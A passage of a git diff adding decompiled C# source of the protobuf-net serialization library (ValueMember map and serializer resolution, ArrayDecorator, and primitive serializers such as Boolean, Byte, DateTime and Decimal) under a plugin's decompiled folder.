(serializer != null) + { + throw new InvalidOperationException("The type cannot be changed once a serializer has been generated"); + } + } + + internal bool ResolveMapTypes(out Type dictionaryType, out Type keyType, out Type valueType) + { + dictionaryType = (keyType = (valueType = null)); + try + { + Type type = memberType; + if (ImmutableCollectionDecorator.IdentifyImmutable(model, MemberType, out var _, out var _, out var _, out var _, out var _, out var _)) + { + return false; + } + if (type.IsInterface && type.IsGenericType && (object)type.GetGenericTypeDefinition() == typeof(IDictionary<, >)) + { + Type[] genericArguments = memberType.GetGenericArguments(); + if (IsValidMapKeyType(genericArguments[0])) + { + keyType = genericArguments[0]; + valueType = genericArguments[1]; + dictionaryType = memberType; + } + return false; + } + Type[] interfaces = memberType.GetInterfaces(); + foreach (Type type2 in interfaces) + { + type = type2; + if (type.IsGenericType && (object)type.GetGenericTypeDefinition() == typeof(IDictionary<, >)) + { + if ((object)dictionaryType != null) + { + throw new InvalidOperationException("Multiple dictionary interfaces implemented by type: " + memberType.FullName); + } + Type[] genericArguments2 = type2.GetGenericArguments(); + if (IsValidMapKeyType(genericArguments2[0])) + { + keyType = genericArguments2[0]; + valueType = genericArguments2[1]; + dictionaryType = memberType; + } + } + } + if ((object)dictionaryType == null) + { + return false; + } + Type type3 = null; + Type type4 = null; + model.ResolveListTypes(valueType, ref type3, ref type4); + if ((object)type3 != null) + { + return false; + } + return (object)dictionaryType != null; + } + catch + { + return false; + } + } + + private static bool IsValidMapKeyType(Type type) + { + if ((object)type == null || Helpers.IsEnum(type)) + { + return false; + } + ProtoTypeCode typeCode = Helpers.GetTypeCode(type); + if ((uint)(typeCode - 3) <= 9u || typeCode == ProtoTypeCode.String) + { + return true; + } + return false; + } + + private IProtoSerializer BuildSerializer() + { + int opaqueToken = 0; + try + { + model.TakeLock(ref opaqueToken); + MemberInfo memberInfo = backingMember ?? originalMember; + IProtoSerializer protoSerializer3; + if (IsMap) + { + ResolveMapTypes(out var dictionaryType, out var keyType, out var valueType); + if ((object)dictionaryType == null) + { + throw new InvalidOperationException("Unable to resolve map type for type: " + memberType.FullName); + } + Type type = defaultType; + if ((object)type == null && Helpers.IsClass(memberType)) + { + type = memberType; + } + WireType defaultWireType; + IProtoSerializer protoSerializer = TryGetCoreSerializer(model, MapKeyFormat, keyType, out defaultWireType, asReference: false, dynamicType: false, overwriteList: false, allowComplexTypes: false); + if (!AsReference) + { + AsReference = MetaType.GetAsReferenceDefault(model, valueType); + } + WireType defaultWireType2; + IProtoSerializer protoSerializer2 = TryGetCoreSerializer(model, MapValueFormat, valueType, out defaultWireType2, AsReference, DynamicType, overwriteList: false, allowComplexTypes: true); + ConstructorInfo[] constructors = typeof(MapDecorator<, , >).MakeGenericType(dictionaryType, keyType, valueType).GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + if (constructors.Length != 1) + { + throw new InvalidOperationException("Unable to resolve MapDecorator constructor"); + } + protoSerializer3 = (IProtoSerializer)constructors[0].Invoke(new object[9] + { + model, + type, + protoSerializer, + protoSerializer2, + _fieldNumber, + (DataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String, + defaultWireType, + defaultWireType2, + OverwriteList + }); + } + else + { + Type type2 = itemType ?? memberType; + protoSerializer3 = TryGetCoreSerializer(model, dataFormat, type2, out var defaultWireType3, AsReference, DynamicType, OverwriteList, allowComplexTypes: true); + if (protoSerializer3 == null) + { + throw new InvalidOperationException("No serializer defined for type: " + type2.FullName); + } + if ((object)itemType != null && SupportNull) + { + if (IsPacked) + { + throw new NotSupportedException("Packed encodings cannot support null values"); + } + protoSerializer3 = new TagDecorator(1, defaultWireType3, IsStrict, protoSerializer3); + protoSerializer3 = new NullDecorator(model, protoSerializer3); + protoSerializer3 = new TagDecorator(_fieldNumber, WireType.StartGroup, strict: false, protoSerializer3); + } + else + { + protoSerializer3 = new TagDecorator(_fieldNumber, defaultWireType3, IsStrict, protoSerializer3); + } + if ((object)itemType != null) + { + Type type3 = (SupportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType)); + protoSerializer3 = ((!memberType.IsArray) ? ((ProtoDecoratorBase)ListDecorator.Create(model, memberType, defaultType, protoSerializer3, _fieldNumber, IsPacked, defaultWireType3, (object)memberInfo != null && PropertyDecorator.CanWrite(model, memberInfo), OverwriteList, SupportNull)) : ((ProtoDecoratorBase)new ArrayDecorator(model, protoSerializer3, _fieldNumber, IsPacked, defaultWireType3, memberType, OverwriteList, SupportNull))); + } + else if (defaultValue != null && !IsRequired && (object)getSpecified == null) + { + protoSerializer3 = new DefaultValueDecorator(model, defaultValue, protoSerializer3); + } + if ((object)memberType == model.MapType(typeof(Uri))) + { + protoSerializer3 = new UriDecorator(model, protoSerializer3); + } + } + if ((object)memberInfo != null) + { + if (memberInfo is PropertyInfo property) + { + protoSerializer3 = new PropertyDecorator(model, parentType, property, protoSerializer3); + } + else + { + if (!(memberInfo is FieldInfo field)) + { + throw new InvalidOperationException(); + } + protoSerializer3 = new FieldDecorator(parentType, field, protoSerializer3); + } + if ((object)getSpecified != null || (object)setSpecified != null) + { + protoSerializer3 = new MemberSpecifiedDecorator(getSpecified, setSpecified, protoSerializer3); + } + } + return protoSerializer3; + } + finally + { + model.ReleaseLock(opaqueToken); + } + } + + private static WireType GetIntWireType(DataFormat format, int width) + { + switch (format) + { + case DataFormat.ZigZag: + return WireType.SignedVariant; + case DataFormat.FixedSize: + if (width != 32) + { + return WireType.Fixed64; + } + return WireType.Fixed32; + case DataFormat.Default: + case DataFormat.TwosComplement: + return WireType.Variant; + default: + throw new InvalidOperationException(); + } + } + + private static WireType GetDateTimeWireType(DataFormat format) + { + switch (format) + { + case DataFormat.Group: + return WireType.StartGroup; + case DataFormat.FixedSize: + return WireType.Fixed64; + case DataFormat.Default: + case DataFormat.WellKnown: + return WireType.String; + default: + throw new InvalidOperationException(); + } + } + + internal static IProtoSerializer TryGetCoreSerializer(RuntimeTypeModel model, DataFormat dataFormat, Type type, out WireType defaultWireType, bool asReference, bool dynamicType, bool overwriteList, bool allowComplexTypes) + { + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + type = underlyingType; + } + if (Helpers.IsEnum(type)) + { + if (allowComplexTypes && model != null) + { + defaultWireType = WireType.Variant; + return new EnumSerializer(type, model.GetEnumMap(type)); + } + defaultWireType = WireType.None; + return null; + } + switch (Helpers.GetTypeCode(type)) + { + case ProtoTypeCode.Int32: + defaultWireType = GetIntWireType(dataFormat, 32); + return new Int32Serializer(model); + case ProtoTypeCode.UInt32: + defaultWireType = GetIntWireType(dataFormat, 32); + return new UInt32Serializer(model); + case ProtoTypeCode.Int64: + defaultWireType = GetIntWireType(dataFormat, 64); + return new Int64Serializer(model); + case ProtoTypeCode.UInt64: + defaultWireType = GetIntWireType(dataFormat, 64); + return new UInt64Serializer(model); + case ProtoTypeCode.String: + defaultWireType = WireType.String; + if (asReference) + { + return new NetObjectSerializer(model, model.MapType(typeof(string)), 0, BclHelpers.NetObjectOptions.AsReference); + } + return new StringSerializer(model); + case ProtoTypeCode.Single: + defaultWireType = WireType.Fixed32; + return new SingleSerializer(model); + case ProtoTypeCode.Double: + defaultWireType = WireType.Fixed64; + return new DoubleSerializer(model); + case ProtoTypeCode.Boolean: + defaultWireType = WireType.Variant; + return new BooleanSerializer(model); + case ProtoTypeCode.DateTime: + defaultWireType = GetDateTimeWireType(dataFormat); + return new DateTimeSerializer(dataFormat, model); + case ProtoTypeCode.Decimal: + defaultWireType = WireType.String; + return new DecimalSerializer(model); + case ProtoTypeCode.Byte: + defaultWireType = GetIntWireType(dataFormat, 32); + return new ByteSerializer(model); + case ProtoTypeCode.SByte: + defaultWireType = GetIntWireType(dataFormat, 32); + return new SByteSerializer(model); + case ProtoTypeCode.Char: + defaultWireType = WireType.Variant; + return new CharSerializer(model); + case ProtoTypeCode.Int16: + defaultWireType = GetIntWireType(dataFormat, 32); + return new Int16Serializer(model); + case ProtoTypeCode.UInt16: + defaultWireType = GetIntWireType(dataFormat, 32); + return new UInt16Serializer(model); + case ProtoTypeCode.TimeSpan: + defaultWireType = GetDateTimeWireType(dataFormat); + return new TimeSpanSerializer(dataFormat, model); + case ProtoTypeCode.Guid: + defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String); + return new GuidSerializer(model); + case ProtoTypeCode.Uri: + defaultWireType = WireType.String; + return new StringSerializer(model); + case ProtoTypeCode.ByteArray: + defaultWireType = WireType.String; + return new BlobSerializer(model, overwriteList); + case ProtoTypeCode.Type: + defaultWireType = WireType.String; + return new SystemTypeSerializer(model); + default: + { + IProtoSerializer protoSerializer = (model.AllowParseableTypes ? ParseableSerializer.TryCreate(type, model) : null); + if (protoSerializer != null) + { + defaultWireType = WireType.String; + return protoSerializer; + } + if (allowComplexTypes && model != null) + { + int key = model.GetKey(type, demand: false, getBaseKey: true); + MetaType metaType = null; + if (key >= 0) + { + metaType = model[type]; + if (dataFormat == DataFormat.Default && metaType.IsGroup) + { + dataFormat = DataFormat.Group; + } + } + if (asReference || dynamicType) + { + BclHelpers.NetObjectOptions netObjectOptions = BclHelpers.NetObjectOptions.None; + if (asReference) + { + netObjectOptions |= BclHelpers.NetObjectOptions.AsReference; + } + if (dynamicType) + { + netObjectOptions |= BclHelpers.NetObjectOptions.DynamicType; + } + if (metaType != null) + { + if (asReference && Helpers.IsValueType(type)) + { + string text = "AsReference cannot be used with value-types"; + text = ((!(type.Name == "KeyValuePair`2")) ? (text + ": " + type.FullName) : (text + "; please see https://stackoverflow.com/q/14436606/23354")); + throw new InvalidOperationException(text); + } + if (asReference && metaType.IsAutoTuple) + { + netObjectOptions |= BclHelpers.NetObjectOptions.LateSet; + } + if (metaType.UseConstructor) + { + netObjectOptions |= BclHelpers.NetObjectOptions.UseConstructor; + } + } + defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String); + return new NetObjectSerializer(model, type, key, netObjectOptions); + } + if (key >= 0) + { + defaultWireType = ((dataFormat == DataFormat.Group) ? WireType.StartGroup : WireType.String); + return new SubItemSerializer(type, key, metaType, recursionCheck: true); + } + } + defaultWireType = WireType.None; + return null; + } + } + } + + internal void SetName(string name) + { + if (name != this.name) + { + ThrowIfFrozen(); + this.name = name; + } + } + + private bool HasFlag(byte flag) + { + return (flags & flag) == flag; + } + + private void SetFlag(byte flag, bool value, bool throwIfFrozen) + { + if (throwIfFrozen && HasFlag(flag) != value) + { + ThrowIfFrozen(); + } + if (value) + { + flags |= flag; + } + else + { + flags = (byte)(flags & ~flag); + } + } + + internal string GetSchemaTypeName(bool applyNetObjectProxy, ref RuntimeTypeModel.CommonImports imports) + { + Type type = ItemType; + if ((object)type == null) + { + type = MemberType; + } + return model.GetSchemaTypeName(type, DataFormat, applyNetObjectProxy && AsReference, applyNetObjectProxy && DynamicType, ref imports); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ArrayDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ArrayDecorator.cs new file mode 100644 index 0000000..ddb4d37 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ArrayDecorator.cs @@ -0,0 +1,306 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class ArrayDecorator : ProtoDecoratorBase +{ + private readonly int fieldNumber; + + private const byte OPTIONS_WritePacked = 1; + + private const byte OPTIONS_OverwriteList = 2; + + private const byte OPTIONS_SupportNull = 4; + + private readonly byte options; + + private readonly WireType packedWireType; + + private readonly Type arrayType; + + private readonly Type itemType; + + public override Type ExpectedType => arrayType; + + public override bool RequiresOldValue => AppendToCollection; + + public override bool ReturnsValue => true; + + private bool AppendToCollection => (options & 2) == 0; + + private bool SupportNull => (options & 4) != 0; + + public ArrayDecorator(TypeModel model, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, Type arrayType, bool overwriteList, bool supportNull) + : base(tail) + { + itemType = arrayType.GetElementType(); + Type type = (supportNull ? itemType : (Helpers.GetUnderlyingType(itemType) ?? itemType)); + if ((writePacked || packedWireType != WireType.None) && fieldNumber <= 0) + { + throw new ArgumentOutOfRangeException("fieldNumber"); + } + if (!ListDecorator.CanPack(packedWireType)) + { + if (writePacked) + { + throw new InvalidOperationException("Only simple data-types can use packed encoding"); + } + packedWireType = WireType.None; + } + this.fieldNumber = fieldNumber; + this.packedWireType = packedWireType; + if (writePacked) + { + options |= 1; + } + if (overwriteList) + { + options |= 2; + } + if (supportNull) + { + options |= 4; + } + this.arrayType = arrayType; + } + + private bool CanUsePackedPrefix() + { + return CanUsePackedPrefix(packedWireType, itemType); + } + + internal static bool CanUsePackedPrefix(WireType packedWireType, Type itemType) + { + if (packedWireType != WireType.Fixed64 && packedWireType != WireType.Fixed32) + { + return false; + } + if (!Helpers.IsValueType(itemType)) + { + return false; + } + return (object)Helpers.GetUnderlyingType(itemType) == null; + } + + protected override void EmitWrite(CompilerContext ctx, Local valueFrom) + { + using Local local = ctx.GetLocalWithValue(arrayType, valueFrom); + using Local i = new Local(ctx, ctx.MapType(typeof(int))); + bool flag = (options & 1) != 0; + bool flag2 = flag && CanUsePackedPrefix(); + using Local local2 = ((flag && !flag2) ? new Local(ctx, ctx.MapType(typeof(SubItemToken))) : null); + Type type = ctx.MapType(typeof(ProtoWriter)); + if (flag) + { + ctx.LoadValue(fieldNumber); + ctx.LoadValue(2); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("WriteFieldHeader")); + if (flag2) + { + ctx.LoadLength(local, zeroIfNull: false); + ctx.LoadValue((int)packedWireType); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("WritePackedPrefix")); + } + else + { + ctx.LoadValue(local); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("StartSubItem")); + ctx.StoreValue(local2); + } + ctx.LoadValue(fieldNumber); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("SetPackedField")); + } + EmitWriteArrayLoop(ctx, i, local); + if (flag) + { + if (flag2) + { + ctx.LoadValue(fieldNumber); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("ClearPackedField")); + } + else + { + ctx.LoadValue(local2); + ctx.LoadReaderWriter(); + ctx.EmitCall(type.GetMethod("EndSubItem")); + } + } + } + + private void EmitWriteArrayLoop(CompilerContext ctx, Local i, Local arr) + { + ctx.LoadValue(0); + ctx.StoreValue(i); + CodeLabel label = ctx.DefineLabel(); + CodeLabel label2 = ctx.DefineLabel(); + ctx.Branch(label, @short: false); + ctx.MarkLabel(label2); + ctx.LoadArrayValue(arr, i); + if (SupportNull) + { + Tail.EmitWrite(ctx, null); + } + else + { + ctx.WriteNullCheckedTail(itemType, Tail, null); + } + ctx.LoadValue(i); + ctx.LoadValue(1); + ctx.Add(); + ctx.StoreValue(i); + ctx.MarkLabel(label); + ctx.LoadValue(i); + ctx.LoadLength(arr, zeroIfNull: false); + ctx.BranchIfLess(label2, @short: false); + } + + public override void Write(object value, ProtoWriter dest) + { + IList list = (IList)value; + int count = list.Count; + bool flag = (options & 1) != 0; + bool flag2 = flag && CanUsePackedPrefix(); + SubItemToken token; + if (flag) + { + ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); + if (flag2) + { + ProtoWriter.WritePackedPrefix(list.Count, packedWireType, dest); + token = default(SubItemToken); + } + else + { + token = ProtoWriter.StartSubItem(value, dest); + } + ProtoWriter.SetPackedField(fieldNumber, dest); + } + else + { + token = default(SubItemToken); + } + bool flag3 = !SupportNull; + for (int i = 0; i < count; i++) + { + object obj = list[i]; + if (flag3 && obj == null) + { + throw new NullReferenceException(); + } + Tail.Write(obj, dest); + } + if (flag) + { + if (flag2) + { + ProtoWriter.ClearPackedField(fieldNumber, dest); + } + else + { + ProtoWriter.EndSubItem(token, dest); + } + } + } + + public override object Read(object value, ProtoReader source) + { + int field = source.FieldNumber; + BasicList basicList = new BasicList(); + if (packedWireType != WireType.None && source.WireType == WireType.String) + { + SubItemToken token = ProtoReader.StartSubItem(source); + while (ProtoReader.HasSubValue(packedWireType, source)) + { + basicList.Add(Tail.Read(null, source)); + } + ProtoReader.EndSubItem(token, source); + } + else + { + do + { + basicList.Add(Tail.Read(null, source)); + } + while (source.TryReadFieldHeader(field)); + } + int num = (AppendToCollection ? ((value != null) ? ((Array)value).Length : 0) : 0); + Array array = Array.CreateInstance(itemType, num + basicList.Count); + if (num != 0) + { + ((Array)value).CopyTo(array, 0); + } + basicList.CopyTo(array, num); + return array; + } + + protected override void EmitRead(CompilerContext ctx, Local valueFrom) + { + Type type = ctx.MapType(typeof(List<>)).MakeGenericType(itemType); + Type expectedType = ExpectedType; + using Local local = (AppendToCollection ? ctx.GetLocalWithValue(expectedType, valueFrom) : null); + using Local local2 = new Local(ctx, expectedType); + using Local local3 = new Local(ctx, type); + ctx.EmitCtor(type); + ctx.StoreValue(local3); + ListDecorator.EmitReadList(ctx, local3, Tail, type.GetMethod("Add"), packedWireType, castListForAdd: false); + using (Local local4 = (AppendToCollection ? new Local(ctx, ctx.MapType(typeof(int))) : null)) + { + Type[] array = new Type[2] + { + ctx.MapType(typeof(Array)), + ctx.MapType(typeof(int)) + }; + if (AppendToCollection) + { + ctx.LoadLength(local, zeroIfNull: true); + ctx.CopyValue(); + ctx.StoreValue(local4); + ctx.LoadAddress(local3, type); + ctx.LoadValue(type.GetProperty("Count")); + ctx.Add(); + ctx.CreateArray(itemType, null); + ctx.StoreValue(local2); + ctx.LoadValue(local4); + CodeLabel label = ctx.DefineLabel(); + ctx.BranchIfFalse(label, @short: true); + ctx.LoadValue(local); + ctx.LoadValue(local2); + ctx.LoadValue(0); + ctx.EmitCall(expectedType.GetMethod("CopyTo", array)); + ctx.MarkLabel(label); + ctx.LoadValue(local3); + ctx.LoadValue(local2); + ctx.LoadValue(local4); + } + else + { + ctx.LoadAddress(local3, type); + ctx.LoadValue(type.GetProperty("Count")); + ctx.CreateArray(itemType, null); + ctx.StoreValue(local2); + ctx.LoadAddress(local3, type); + ctx.LoadValue(local2); + ctx.LoadValue(0); + } + array[0] = expectedType; + MethodInfo method = type.GetMethod("CopyTo", array); + if ((object)method == null) + { + array[1] = ctx.MapType(typeof(Array)); + method = type.GetMethod("CopyTo", array); + } + ctx.EmitCall(method); + } + ctx.LoadValue(local2); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BlobSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BlobSerializer.cs new file mode 100644 index 0000000..19c6549 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BlobSerializer.cs @@ -0,0 +1,52 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class BlobSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(byte[]); + + private readonly bool overwriteList; + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => !overwriteList; + + bool IProtoSerializer.ReturnsValue => true; + + public BlobSerializer(TypeModel model, bool overwriteList) + { + this.overwriteList = overwriteList; + } + + public object Read(object value, ProtoReader source) + { + return ProtoReader.AppendBytes(overwriteList ? null : ((byte[])value), source); + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteBytes((byte[])value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteBytes", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + if (overwriteList) + { + ctx.LoadNullRef(); + } + else + { + ctx.LoadValue(valueFrom); + } + ctx.LoadReaderWriter(); + ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes")); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BooleanSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BooleanSerializer.cs new file mode 100644 index 0000000..e413933 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/BooleanSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class BooleanSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(bool); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public BooleanSerializer(TypeModel model) + { + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteBoolean((bool)value, dest); + } + + public object Read(object value, ProtoReader source) + { + return source.ReadBoolean(); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteBoolean", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadBoolean", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ByteSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ByteSerializer.cs new file mode 100644 index 0000000..8cee6be --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/ByteSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class ByteSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(byte); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public ByteSerializer(TypeModel model) + { + } + + public void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteByte((byte)value, dest); + } + + public object Read(object value, ProtoReader source) + { + return source.ReadByte(); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicWrite("WriteByte", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead("ReadByte", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CharSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CharSerializer.cs new file mode 100644 index 0000000..d62315a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CharSerializer.cs @@ -0,0 +1,26 @@ +using System; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class CharSerializer : UInt16Serializer +{ + private static readonly Type expectedType = typeof(char); + + public override Type ExpectedType => expectedType; + + public CharSerializer(TypeModel model) + : base(model) + { + } + + public override void Write(object value, ProtoWriter dest) + { + ProtoWriter.WriteUInt16((char)value, dest); + } + + public override object Read(object value, ProtoReader source) + { + return (char)source.ReadUInt16(); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CompiledSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CompiledSerializer.cs new file mode 100644 index 0000000..a590b44 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/CompiledSerializer.cs @@ -0,0 +1,87 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class CompiledSerializer : IProtoTypeSerializer, IProtoSerializer +{ + private readonly IProtoTypeSerializer head; + + private readonly ProtoSerializer serializer; + + private readonly ProtoDeserializer deserializer; + + bool IProtoSerializer.RequiresOldValue => head.RequiresOldValue; + + bool IProtoSerializer.ReturnsValue => head.ReturnsValue; + + Type IProtoSerializer.ExpectedType => head.ExpectedType; + + bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) + { + return head.HasCallbacks(callbackType); + } + + bool IProtoTypeSerializer.CanCreateInstance() + { + return head.CanCreateInstance(); + } + + object IProtoTypeSerializer.CreateInstance(ProtoReader source) + { + return head.CreateInstance(source); + } + + public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) + { + head.Callback(value, callbackType, context); + } + + public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model) + { + CompiledSerializer compiledSerializer = head as CompiledSerializer; + if (compiledSerializer == null) + { + compiledSerializer = new CompiledSerializer(head, model); + } + return compiledSerializer; + } + + private CompiledSerializer(IProtoTypeSerializer head, TypeModel model) + { + this.head = head; + serializer = CompilerContext.BuildSerializer(head, model); + deserializer = CompilerContext.BuildDeserializer(head, model); + } + + void IProtoSerializer.Write(object value, ProtoWriter dest) + { + serializer(value, dest); + } + + object IProtoSerializer.Read(object value, ProtoReader source) + { + return deserializer(value, source); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + head.EmitWrite(ctx, valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + head.EmitRead(ctx, valueFrom); + } + + void IProtoTypeSerializer.EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType) + { + head.EmitCallback(ctx, valueFrom, callbackType); + } + + void IProtoTypeSerializer.EmitCreateInstance(CompilerContext ctx) + { + head.EmitCreateInstance(ctx); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DateTimeSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DateTimeSerializer.cs new file mode 100644 index 0000000..fdac239 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DateTimeSerializer.cs @@ -0,0 +1,65 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class DateTimeSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(DateTime); + + private readonly bool includeKind; + + private readonly bool wellKnown; + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public DateTimeSerializer(DataFormat dataFormat, TypeModel model) + { + wellKnown = dataFormat == DataFormat.WellKnown; + includeKind = model?.SerializeDateTimeKind() ?? false; + } + + public object Read(object value, ProtoReader source) + { + if (wellKnown) + { + return BclHelpers.ReadTimestamp(source); + } + return BclHelpers.ReadDateTime(source); + } + + public void Write(object value, ProtoWriter dest) + { + if (wellKnown) + { + BclHelpers.WriteTimestamp((DateTime)value, dest); + } + else if (includeKind) + { + BclHelpers.WriteDateTimeWithKind((DateTime)value, dest); + } + else + { + BclHelpers.WriteDateTime((DateTime)value, dest); + } + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), wellKnown ? "WriteTimestamp" : (includeKind ? "WriteDateTimeWithKind" : "WriteDateTime"), valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local entity) + { + if (wellKnown) + { + ctx.LoadValue(entity); + } + ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), wellKnown ? "ReadTimestamp" : "ReadDateTime", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DecimalSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DecimalSerializer.cs new file mode 100644 index 0000000..c3dc00c --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DecimalSerializer.cs @@ -0,0 +1,40 @@ +using System; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class DecimalSerializer : IProtoSerializer +{ + private static readonly Type expectedType = typeof(decimal); + + public Type ExpectedType => expectedType; + + bool IProtoSerializer.RequiresOldValue => false; + + bool IProtoSerializer.ReturnsValue => true; + + public DecimalSerializer(TypeModel model) + { + } + + public object Read(object value, ProtoReader source) + { + return BclHelpers.ReadDecimal(source); + } + + public void Write(object value, ProtoWriter dest) + { + BclHelpers.WriteDecimal((decimal)value, dest); + } + + void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom) + { + ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom); + } + + void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom) + { + ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DefaultValueDecorator.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DefaultValueDecorator.cs new file mode 100644 index 0000000..9c3dc59 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Serializers/DefaultValueDecorator.cs @@ -0,0 +1,223 @@ +using System; +using System.Reflection; +using ProtoBuf.Compiler; +using ProtoBuf.Meta; + +namespace ProtoBuf.Serializers; + +internal sealed class DefaultValueDecorator : ProtoDecoratorBase +{ + private readonly object defaultValue; + + public override Type ExpectedType => Tail.ExpectedType; + + public override bool RequiresOldValue => Tail.RequiresOldValue; + + public override bool ReturnsValue => Tail.ReturnsValue; + + public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail) + : base(tail) + { + if (defaultValue == null) + { + throw new ArgumentNullException("defaultValue"); + } + Type type = model.MapType(defaultValue.GetType()); + if ((object)type != tail.ExpectedType) + { + throw new ArgumentException("Default value is of 